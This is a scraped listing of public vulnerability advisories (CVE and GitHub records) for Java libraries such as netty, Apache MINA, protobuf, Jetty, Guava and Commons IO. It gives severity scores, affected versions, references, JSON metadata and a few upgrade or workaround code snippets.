                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

CWE

CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/JLLeitschuh/unCVEed/issues/1	x_refsource_MISC
	https://github.com/netty/netty/issues/15522	x_refsource_MISC
	https://github.com/netty/netty/pull/15611	x_refsource_MISC
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	https://datatracker.ietf.org/doc/html/rfc9112#nam…	x_refsource_MISC
	https://w4ke.info/2025/06/18/funky-chunks.html	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: >= 4.2.0.Alpha3, < 4.2.5.Final Affected: <= 4.1.124.Final, < 4.1.125.Final

Show details on NVD website

JSON

To clipboard

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CVE-2023-1370 (GCVE-0-2023-1370)

Vulnerability from cvelistv5 – Published: 2023-03-13 09:04 – Updated: 2025-02-27 19:09

Title

Stack exhaustion in json-smart leads to denial of service when parsing malformed JSON

Summary

[Json-smart](https://netplex.github.io/json-smart/) is a performance focused, JSON processor lib. When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the code does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause a stack exhaustion (stack overflow) and crash the software.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-674 - Uncontrolled Recursion

Assigner

JFROG

References

URL

Tags

	https://research.jfrog.com/vulnerabilities/stack-…
	https://security.netapp.com/advisory/ntap-2024062…

Impacted products

	Vendor	Product	Version
	json-smart	json-smart	Affected: 0 , < 2.4.9 (maven)

Show details on NVD website

JSON

To clipboard

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CVE-2024-52046 (GCVE-0-2024-52046)

Vulnerability from cvelistv5 – Published: 2024-12-25 10:06 – Updated: 2025-08-02 03:55

Title

Apache MINA: MINA applications using unbounded deserialization may allow RCE

Summary

The ObjectSerializationDecoder in Apache MINA uses Java’s native deserialization protocol to process incoming serialized data but lacks the necessary security checks and defenses. This vulnerability allows attackers to exploit the deserialization process by sending specially crafted malicious serialized data, potentially leading to remote code execution (RCE) attacks. This issue affects MINA core versions 2.0.X, 2.1.X and 2.2.X, and will be fixed by the releases 2.0.27, 2.1.10 and 2.2.4. It's also important to note that an application using MINA core library will only be affected if the IoBuffer#getObject() method is called, and this specific method is potentially called when adding a ProtocolCodecFilter instance using the ObjectSerializationCodecFactory class in the filter chain. If your application is specifically using those classes, you have to upgrade to the latest version of MINA core library. Upgrading will not be enough: you also need to explicitly allow the classes the decoder will accept in the ObjectSerializationDecoder instance, using one of the three new methods: /** * Accept class names where the supplied ClassNameMatcher matches for * deserialization, unless they are otherwise rejected. * * @param classNameMatcher the matcher to use */ public void accept(ClassNameMatcher classNameMatcher) /** * Accept class names that match the supplied pattern for * deserialization, unless they are otherwise rejected. * * @param pattern standard Java regexp */ public void accept(Pattern pattern) /** * Accept the wildcard specified classes for deserialization, * unless they are otherwise rejected. * * @param patterns Wildcard file name patterns as defined by * {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch} */ public void accept(String... patterns) By default, the decoder will reject *all* classes that will be present in the incoming data. Note: The FtpServer, SSHd and Vysper sub-project are not affected by this issue.

Severity ?

10 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CWE

CWE-502 - Deserialization of Untrusted Data

Assigner

apache

References

URL

Tags

https://lists.apache.org/thread/4wxktgjpggdbto15d…

vendor-advisory

Impacted products

	Vendor	Product	Version
	Apache Software Foundation	Apache MINA	Unknown: 2.0 , ≤ 2.0.26 (semver) Affected: 2.1 , ≤ 2.1.9 (semver) Affected: 2.2 , ≤ 2.2.3 (semver)

Credits

The initial report was submitted by Bofei Chen, with all the necessary bits to reproduce the RCE

Show details on NVD website

JSON

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        },
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CVE-2024-7254 (GCVE-0-2024-7254)

Vulnerability from cvelistv5 – Published: 2024-09-19 00:18 – Updated: 2025-09-08 09:37

Title

Stack overflow in Protocol Buffers Java Lite

Summary

Any project that parses untrusted Protocol Buffers data containing an arbitrary number of nested groups / series of SGROUP tags can corrupted by exceeding the stack limit i.e. StackOverflow. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-674 - Uncontrolled Recursion

Assigner

Google

References

URL

Tags

https://github.com/protocolbuffers/protobuf/commi…

Impacted products

Vendor

Product

Version

Google

Protocol Buffers

Affected: 0 , < 28.2 (custom)

Google	protobuf-java	Affected: 0 , < 3.25.5 (custom) Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom)
Google	protobuf-javalite	Affected: 0 , < 3.25.5 (custom) Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom)
Google	protobuf-kotlin	Affected: 0 , < 3.25.5 (custom) Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom)
Google	protobuf-kotllin-lite	Affected: 0 , < 3.25.5 (custom) Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom)
Google	google-protobuf [JRuby Gem]	Affected: 0 , < 3.25.5 (custom) Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom)

Credits

Alexis Challande, Trail of Bits Ecosystem Security Team <ecosystem@trailofbits.com>

Show details on NVD website

JSON

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CVE-2024-9823 (GCVE-0-2024-9823)

Vulnerability from cvelistv5 – Published: 2024-10-14 15:03 – Updated: 2025-11-03 19:35

Title

Jetty DOS vulnerability on DosFilter

Summary

There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

eclipse

References

URL

Tags

	https://github.com/jetty/jetty.project/security/a…
	https://gitlab.eclipse.org/security/cve-assigneme…
	https://github.com/jetty/jetty.project/issues/1256

Impacted products

Vendor

Product

Version

Eclipse Foundation

Jetty

Affected: 9.0.0 , < 9.4.54 (semvar)
Affected: 10.0.0 , < 10.0.18 (semvar)
Affected: 11.0.0 , < 11.0.18 (semver)

Eclipse Jetty	Jetty	Affected: 12.0.0 , < 12.0.3 (semvar)
Eclipse Jetty	Jetty	Affected: 12.0.0 , < 12.0.3 (semver)
Eclipse Jetty	Jetty	Affected: 12.0.0 , < 12.0.3 (semvar)

Credits

Lian Kee

Show details on NVD website

JSON

To clipboard

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CVE-2022-3510 (GCVE-0-2022-3510)

Vulnerability from cvelistv5 – Published: 2022-11-11 16:35 – Updated: 2025-04-22 15:09

Title

Parsing issue in protobuf message-type extension

Summary

A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

n/a

Assigner

Google

References

URL

Tags

https://github.com/protocolbuffers/protobuf/commi…

patch

Impacted products

	Vendor	Product	Version
	Google	ProtocolBuffers	Affected: 3.21.0 , < 3.21.7 (semver) Affected: 3.20.0 , < 3.20.3 (semver) Affected: 3.19.0 , < 3.19.6 (semver) Affected: 3.16.0 , < 3.16.3 (semver)

Show details on NVD website

JSON

To clipboard

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CVE-2025-48734 (GCVE-0-2025-48734)

Vulnerability from cvelistv5 – Published: 2025-05-28 13:32 – Updated: 2026-04-29 03:55

Title

Apache Commons BeanUtils: PropertyUtilsBean does not suppresses an enum's declaredClass property by default

Summary

Improper Access Control vulnerability in Apache Commons. A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. Users of the artifact org.apache.commons:commons-beanutils2 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.

Severity ?

No CVSS data available.

CWE

CWE-284 - Improper Access Control

Assigner

apache

References

URL

Tags

https://lists.apache.org/thread/s0hb3jkfj5f3ryx6c…

vendor-advisory

Impacted products

Vendor

Product

Version

Apache Software Foundation

Apache Commons BeanUtils 1.x

Affected: 1.0 , < 1.11.0 (maven)

Apache Software Foundation

Apache Commons BeanUtils 2.x

Affected: 2.0.0-M1 , < 2.0.0-M2 (maven)

Credits

Raj (mailto:denesh.raj@zohocorp.com) Muthukumar Marikani (mailto:muthukumar.marikani@zohocorp.com)

Show details on NVD website

JSON

To clipboard

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CVE-2024-8184 (GCVE-0-2024-8184)

Vulnerability from cvelistv5 – Published: 2024-10-14 15:09 – Updated: 2025-11-03 19:34

Title

Jetty ThreadLimitHandler.getRemote() vulnerable to remote DoS attacks

Summary

There exists a security vulnerability in Jetty's ThreadLimitHandler.getRemote() which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory.

Severity ?

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

eclipse

References

URL

Tags

	https://github.com/jetty/jetty.project/security/a…
	https://gitlab.eclipse.org/security/cve-assigneme…
	https://github.com/jetty/jetty.project/pull/11723

Impacted products

	Vendor	Product	Version
	Eclipse Foundation	Jetty	Affected: 9.3.12 , ≤ 9.4.55 (semver) Affected: 10.0.0 , ≤ 10.0.23 (semver) Affected: 11.0.0 , ≤ 11.0.23 (semver) Affected: 12.0.0 , ≤ 12.0.8 (semver)

Credits

https://github.com/HRsGIT

Show details on NVD website

JSON

To clipboard

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CVE-2018-10237 (GCVE-0-2018-10237)

Vulnerability from cvelistv5 – Published: 2018-04-26 21:00 – Updated: 2024-08-05 07:32

Summary

Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.

Severity ?

No CVSS data available.

CWE

n/a

Assigner

mitre

References

URL

Tags

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Show details on NVD website

JSON

To clipboard

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            "name": "[hadoop-common-dev] 20190401 Update guava to 27.0-jre in hadoop-project",
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            "name": "[pulsar-commits] 20190416 [GitHub] [pulsar] one70six opened a new issue #4057: Security Vulnerabilities - Black Duck Scan - Pulsar v.2.3.1",
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            "name": "[activemq-gitbox] 20190530 [GitHub] [activemq-artemis] brusdev opened a new pull request #2687: ARTEMIS-2359 Upgrade to Guava 24.1",
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            "name": "[cassandra-commits] 20190612 [jira] [Assigned] (CASSANDRA-14760) CVE-2018-10237 Security vulnerability in 3.11.3",
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            "name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
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        {
          "name": "[hadoop-hdfs-dev] 20190401 Update guava to 27.0-jre in hadoop-project",
          "tags": [
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          "url": "https://lists.apache.org/thread.html/cc48fe770c45a74dc3b37ed0817393e0c96701fc49bc431ed922f3cc%40%3Chdfs-dev.hadoop.apache.org%3E"
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          "name": "[hadoop-common-dev] 20190401 Update guava to 27.0-jre in hadoop-project",
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        {
          "name": "[pulsar-commits] 20190416 [GitHub] [pulsar] one70six opened a new issue #4057: Security Vulnerabilities - Black Duck Scan - Pulsar v.2.3.1",
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          "name": "[activemq-issues] 20190516 [jira] [Created] (AMQ-7208) Security Issue related to Guava 18.0",
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          "name": "[activemq-gitbox] 20190530 [GitHub] [activemq-artemis] brusdev opened a new pull request #2687: ARTEMIS-2359 Upgrade to Guava 24.1",
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          "name": "[cassandra-commits] 20190612 [jira] [Assigned] (CASSANDRA-14760) CVE-2018-10237 Security vulnerability in 3.11.3",
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          "name": "[hadoop-common-dev] 20200623 Update guava to 27.0-jre in hadoop branch-2.10",
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          "url": "https://lists.apache.org/thread.html/rc8467f357b943ceaa86f289f8bc1a5d1c7955b75d3bac1426f2d4ac1%40%3Ccommon-dev.hadoop.apache.org%3E"
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        {
          "name": "[flink-dev] 20200806 Dependency vulnerabilities with Apache Flink 1.10.1 version",
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          "name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
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              "name": "[hadoop-hdfs-dev] 20190401 Update guava to 27.0-jre in hadoop-project",
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              "url": "https://lists.apache.org/thread.html/cc48fe770c45a74dc3b37ed0817393e0c96701fc49bc431ed922f3cc@%3Chdfs-dev.hadoop.apache.org%3E"
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              "name": "[pulsar-commits] 20190416 [GitHub] [pulsar] one70six opened a new issue #4057: Security Vulnerabilities - Black Duck Scan - Pulsar v.2.3.1",
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              "url": "https://lists.apache.org/thread.html/ff8dcfe29377088ab655fda9d585dccd5b1f07fabd94ae84fd60a7f8@%3Ccommits.pulsar.apache.org%3E"
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              "name": "[activemq-issues] 20190516 [jira] [Created] (AMQ-7208) Security Issue related to Guava 18.0",
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              "url": "https://lists.apache.org/thread.html/3d5dbdd92ac9ceaef90e40f78599f9109f2f345252e0ac9d98e7e084@%3Cgitbox.activemq.apache.org%3E"
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              "name": "[kafka-users] 20200413 CVEs for the dependency software guava and rocksdbjni of Kafka",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/ra0adb9653c7de9539b93cc8434143b655f753b9f60580ff260becb2b@%3Cusers.kafka.apache.org%3E"
            },
            {
              "name": "[cxf-dev] 20200420 [GitHub] [cxf] coheigea commented on a change in pull request #638: upgrade guava, CVE-2018-10237",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/rd0c8ec6e044aa2958dd0549ebf8ecead7f5968c9474ba73a504161b2@%3Cdev.cxf.apache.org%3E"
            },
            {
              "name": "[cxf-dev] 20200420 [GitHub] [cxf] reta commented on a change in pull request #638: upgrade guava, CVE-2018-10237",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r38e2ab87528d3c904e7fac496e8fd766b9277656ff95b97d6b6b6dcd@%3Cdev.cxf.apache.org%3E"
            },
            {
              "name": "[cxf-dev] 20200420 [GitHub] [cxf] andrei-ivanov commented on a change in pull request #638: upgrade guava, CVE-2018-10237",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r2ea4e5e5aa8ad73b001a466c582899620961f47d77a40af712c1fdf9@%3Cdev.cxf.apache.org%3E"
            },
            {
              "name": "[syncope-dev] 20200423 Re: Time to cut 2.1.6 / 2.0.15?",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r43491b25b2e5c368c34b106a82eff910a5cea3e90de82ad75cc16540@%3Cdev.syncope.apache.org%3E"
            },
            {
              "name": "https://www.oracle.com/security-alerts/cpuapr2020.html",
              "refsource": "MISC",
              "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
            },
            {
              "name": "[hadoop-common-dev] 20200623 Update guava to 27.0-jre in hadoop branch-2.10",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/rc8467f357b943ceaa86f289f8bc1a5d1c7955b75d3bac1426f2d4ac1@%3Ccommon-dev.hadoop.apache.org%3E"
            },
            {
              "name": "https://www.oracle.com/security-alerts/cpujul2020.html",
              "refsource": "MISC",
              "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
            },
            {
              "name": "https://groups.google.com/d/topic/guava-announce/xqWALw4W1vs/discussion",
              "refsource": "CONFIRM",
              "url": "https://groups.google.com/d/topic/guava-announce/xqWALw4W1vs/discussion"
            },
            {
              "name": "[flink-dev] 20200806 Dependency vulnerabilities with Apache Flink 1.10.1 version",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cdev.flink.apache.org%3E"
            },
            {
              "name": "[flink-user] 20200806 Dependency vulnerabilities with Apache Flink 1.10.1 version",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cuser.flink.apache.org%3E"
            },
            {
              "name": "[flink-dev] 20200806 [jira] [Created] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r50fc0bcc734dd82e691d36d209258683141bfc0083739a77e56ad92d@%3Cdev.flink.apache.org%3E"
            },
            {
              "name": "[flink-issues] 20200806 [jira] [Created] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/rdc56c15693c236e31e1e95f847b8e5e74fc0a05741d47488e7fc8c45@%3Cissues.flink.apache.org%3E"
            },
            {
              "name": "[flink-issues] 20200814 [jira] [Commented] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/ra8906723927aef2a599398c238eacfc845b74d812e0093ec2fc70a7d@%3Cissues.flink.apache.org%3E"
            },
            {
              "name": "[lucene-issues] 20201022 [jira] [Created] (SOLR-14960) Solr-clustering is bringing in CVE-2018-10237 vulnerable guava",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/ra4f44016926dcb034b3b230280a18102062f94ae55b8a31bb92fed84@%3Cissues.lucene.apache.org%3E"
            },
            {
              "name": "[lucene-issues] 20201022 [jira] [Updated] (SOLR-14960) Solr-clustering is bringing in CVE-2018-10237 vulnerable guava",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/rb3da574c34bc6bd37972d2266af3093b90d7e437460423c24f477919@%3Cissues.lucene.apache.org%3E"
            },
            {
              "name": "[lucene-issues] 20201022 [jira] [Resolved] (SOLR-14960) Solr-clustering is bringing in CVE-2018-10237 vulnerable guava",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r223bc776a077d0795786c38cbc6e7dd808fce1a9161b00ba9c0a5d55@%3Cissues.lucene.apache.org%3E"
            },
            {
              "name": "https://www.oracle.com/security-alerts/cpujan2021.html",
              "refsource": "MISC",
              "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
            },
            {
              "name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba@%3Cissues.maven.apache.org%3E"
            },
            {
              "name": "[flink-issues] 20210212 [jira] [Closed] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r22c8173b804cd4a420c43064ba4e363d0022aa421008b1989f7354d4@%3Cissues.flink.apache.org%3E"
            },
            {
              "name": "[samza-commits] 20210310 [GitHub] [samza] Telesia opened a new pull request #1471: SAMZA-2630: Upgrade dependencies for security fixes",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r352e40ca9874d1beb4ad95403792adca7eb295e6bc3bd7b65fabcc21@%3Ccommits.samza.apache.org%3E"
            },
            {
              "name": "[storm-issues] 20210315 [jira] [Created] (STORM-3754) Upgrade Guava version because of security vulnerability",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r30e7d7b6bfa630dacc41649a0e96dad75165d50474c1241068aa0f94@%3Cissues.storm.apache.org%3E"
            },
            {
              "name": "[pulsar-commits] 20210406 [GitHub] [pulsar] lhotari opened a new pull request #10149: Upgrade jclouds to 2.3.0 to fix security vulnerabilities",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748@%3Ccommits.pulsar.apache.org%3E"
            },
            {
              "name": "[arrow-github] 20210610 [GitHub] [arrow] projjal opened a new pull request #10501: ARROW-13032: Update guava version",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/rd01f5ff0164c468ec7abc96ff7646cea3cce6378da2e4aa29c6bcb95@%3Cgithub.arrow.apache.org%3E"
            },
            {
              "name": "https://www.oracle.com/security-alerts/cpuoct2021.html",
              "refsource": "MISC",
              "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
            },
            {
              "name": "https://security.netapp.com/advisory/ntap-20220629-0008/",
              "refsource": "CONFIRM",
              "url": "https://security.netapp.com/advisory/ntap-20220629-0008/"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2018-10237",
    "datePublished": "2018-04-26T21:00:00.000Z",
    "dateReserved": "2018-04-20T00:00:00.000Z",
    "dateUpdated": "2024-08-05T07:32:01.750Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-4G8C-WM8X-JFHW

Vulnerability from github – Published: 2025-02-10 17:38 – Updated: 2025-04-16 19:30

Summary

SslHandler doesn't correctly validate packets which can lead to native crash when using native SSLEngine

Details

Impact

When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash.

Workarounds

As workaround its possible to either disable the usage of the native SSLEngine or changing the code from:

SslContext context = ...;
SslHandler handler = context.newHandler(....);

to:

SslContext context = ...;
SSLEngine engine = context.newEngine(....);
SslHandler handler = new SslHandler(engine, ....);

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.117.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.91.Final"
            },
            {
              "fixed": "4.1.118.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T17:38:10Z",
    "nvd_published_at": "2025-02-10T22:15:38Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nWhen a special crafted packet is received via SslHandler it doesn\u0027t correctly handle validation of such a packet in all cases which can lead to a native crash.\n\n### Workarounds\nAs workaround its possible to either disable the usage of the native SSLEngine or changing the code from:\n\n```\nSslContext context = ...;\nSslHandler handler = context.newHandler(....);\n```\n\nto:\n\n```\nSslContext context = ...;\nSSLEngine engine = context.newEngine(....);\nSslHandler handler = new SslHandler(engine, ....);\n```",
  "id": "GHSA-4g8c-wm8x-jfhw",
  "modified": "2025-04-16T19:30:03Z",
  "published": "2025-02-10T17:38:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-4g8c-wm8x-jfhw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/87f40725155b2f89adfde68c7732f97c153676c4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250221-0005"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2025-24970-netty-vulnerability-detection"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2025-24970-netty-vulnerability-mitigation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SslHandler doesn\u0027t correctly validate packets which can lead to native crash when using native SSLEngine"
}

GHSA-XWMG-2G98-W7V9

Vulnerability from github – Published: 2025-07-11 03:30 – Updated: 2025-09-19 21:31

Summary

Nimbus JOSE + JWT is vulnerable to DoS attacks when processing deeply nested JSON

Details

Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.

Severity ?

5.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.nimbusds:nimbus-jose-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.38-rc1"
            },
            {
              "fixed": "10.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.nimbusds:nimbus-jose-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.37.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-11T16:43:40Z",
    "nvd_published_at": "2025-07-11T03:16:03Z",
    "severity": "MODERATE"
  },
  "details": "Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.",
  "id": "GHSA-xwmg-2g98-w7v9",
  "modified": "2025-09-19T21:31:45Z",
  "published": "2025-07-11T03:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53864"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/gson/commit/1039427ff0100293dd3cf967a53a55282c0fef6b"
    },
    {
      "type": "PACKAGE",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/commits/f7fb882cc08f027c9ceb874acec3b51c6222861c"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/583/stackoverflowerror-due-to-deeply-nested"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/593/back-port-cve-2025-53864-fix-to-9x-branch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/gson/compare/gson-parent-2.11.0...gson-parent-2.12.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nimbus JOSE + JWT is vulnerable to DoS attacks when processing deeply nested JSON"
}

GHSA-78WR-2P64-HPWJ

Vulnerability from github – Published: 2024-10-03 12:30 – Updated: 2025-01-31 15:30

Summary

Apache Commons IO: Possible denial of service attack on untrusted input to XmlStreamReader

Details

Uncontrolled Resource Consumption vulnerability in Apache Commons IO.

The org.apache.commons.io.input.XmlStreamReader class may excessively consume CPU resources when processing maliciously crafted input.

This issue affects Apache Commons IO: from 2.0 before 2.14.0.

Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "commons-io:commons-io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0"
            },
            {
              "fixed": "2.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47554"
  ],
